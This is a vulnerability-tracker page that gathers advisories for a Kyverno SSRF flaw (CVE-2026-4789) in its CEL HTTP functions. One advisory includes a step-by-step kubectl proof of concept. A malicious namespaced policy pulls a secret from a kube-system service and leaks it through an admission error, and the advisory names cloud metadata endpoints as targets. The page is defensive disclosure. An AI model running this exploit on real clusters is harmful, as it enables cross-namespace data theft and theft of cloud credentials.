Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

CVE-2026-4789

cve-program · severity unknownEUVD CVSS 3.1 9.8 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 9.8 CRITICALCVSS_V4 Publisher rating MODERATECVSS_V3 Publisher rating HIGHFixed by github.com/kyverno/kyverno 1.17.0osv · severity unknownFixed by github.com/kyverno/kyverno 1.17.0KEV status unknown

cve-program · CVE-2026-4789

Published

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Read the publisher's advisory

euvd · EUVD-2026-17241

Published

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Read the publisher's advisory

nvd · CVE-2026-4789

Published

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Read the publisher's advisory

osv · GHSA-qqrv-2hch-83q4

Withdrawn

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rggm-jjmc-3394. This link is maintained to preserve external references. ## Original Description Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Read the publisher's advisory

osv · GHSA-rggm-jjmc-3394

Published

## Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages. ## Affected Versions - Kyverno >= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2) ## Details The `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL. **Vulnerable Code:** `pkg/cel/libs/http/http.go` ```go func (r *contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // NO URL VALIDATION - no blocklist, no namespace restrictions ... } ``` **Contrast with resource.Lib** which enforces namespace: ```go // pkg/cel/libs/resource/lib.go func Lib(namespace string, v *version.Version) cel.EnvOption { return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced } ``` This is a **different code path** from previously reported issues: - GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http) - **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed** ## PoC Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind). A complete automated PoC script is attached. Manual steps below: ### 1. Setup attacker with namespace-scoped permissions ```bash kubectl create namespace attacker-ns kubectl create serviceaccount namespace-admin -n attacker-ns cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: namespace-admin-role namespace: attacker-ns rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["policies.kyverno.io"] resources: ["namespacedvalidatingpolicies"] verbs: ["create", "get", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: namespace-admin-binding namespace: attacker-ns subjects: - kind: ServiceAccount name: namespace-admin namespace: attacker-ns roleRef: kind: Role name: namespace-admin-role apiGroup: rbac.authorization.k8s.io EOF ``` ### 2. Create sensitive internal service (simulating internal API or cloud metadata) ```bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: internal-api namespace: kube-system labels: app: internal-api spec: containers: - name: server image: hashicorp/http-echo args: - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}" - "-listen=:8080" --- apiVersion: v1 kind: Service metadata: name: internal-api namespace: kube-system spec: selector: app: internal-api ports: - port: 80 targetPort: 8080 EOF ``` ### 3. Verify attacker cannot access kube-system directly ```bash kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin # Output: no ``` ### 4. Create malicious NamespacedValidatingPolicy (as attacker) ```bash cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f - apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedValidatingPolicy metadata: name: cel-ssrf-poc namespace: attacker-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["configmaps"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" message: "Validation failed" messageExpression: | 'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token'] EOF ``` ### 5. Trigger exploit and exfiltrate data ```bash kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin ``` ### 6. Result - Secret data exfiltrated ``` error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request: Policy cel-ssrf-poc failed: SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ``` ## Impact 1. **Cross-namespace data access**: Users with only namespace-scoped permissions can access services in any namespace 2. **Cloud credential theft**: Access to `http://169.254.169.254/...` allows stealing AWS/GCP/Azure IAM credentials 3. **Data exfiltration**: HTTP response data exposed via validation error messages or audit annotations 4. **Breaks namespace isolation**: Inconsistent with Kyverno's security model where `resource.Lib` enforces namespace boundaries ## Affected Policies All CEL-based namespaced policies in `policies.kyverno.io` API group: - `NamespacedValidatingPolicy` - `NamespacedMutatingPolicy` - `NamespacedDeletingPolicy` - `NamespacedImageValidatingPolicy` ## Suggested Fix Add namespace and URL restrictions to `pkg/cel/libs/http/http.go`, similar to how `resource.Lib` enforces namespace boundaries: ```go type lib struct { namespace string // Add namespace parameter version *version.Version } func (r *contextImpl) Get(url string, headers map[string]string) (any, error) { if err := r.validateURL(url); err != nil { return nil, fmt.Errorf("blocked URL: %w", err) } // ... existing code } func (r *contextImpl) validateURL(urlStr string) error { // Block cloud metadata (169.254.0.0/16) // Block localhost/loopback (127.0.0.0/8) // For namespaced policies: restrict to same namespace services only } ``` Attached [kyverno-cel-ssrf-poc.sh](https://github.com/user-attachments/files/24940825/kyverno-cel-ssrf-poc.sh) ## Credit Discovered by: Igor Stepansky Organization: Orca Security Email: [email protected] Personal Email: [email protected]

Read the publisher's advisory

osv · GO-2026-5621

Published

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access in github.com/kyverno/kyverno

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-4789

Published

Kyverno

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Kyverno",
                    "product": "Kyverno",
                    "versions": [
                        {
                            "status": "affected",
                            "version": "1.16.0"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-17241

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 30, 2026, 8:44:00 PM

dateUpdated: Apr 1, 2026, 6:43:50 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:10613-1: kyverno-1.17.2-1.1 on GA media

CVE-2026-1229 · CVE-2026-24051 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-4789

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-4789

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-03-30T21:17:10.843

lastModified: 2026-06-17T10:57:13.363

1 source CPE criteria · context only
  • cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-qqrv-2hch-83q4

Withdrawn

github.com/kyverno/kyverno

Go

SEMVER · introduced 1.16.0 → last_affected 1.17.1

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-rggm-jjmc-3394

Published

github.com/kyverno/kyverno

Go

SEMVER · introduced 1.16.0 → fixed 1.17.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5621

Published

github.com/kyverno/kyverno

Go

SEMVER · introduced 1.16.0 → fixed 1.17.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current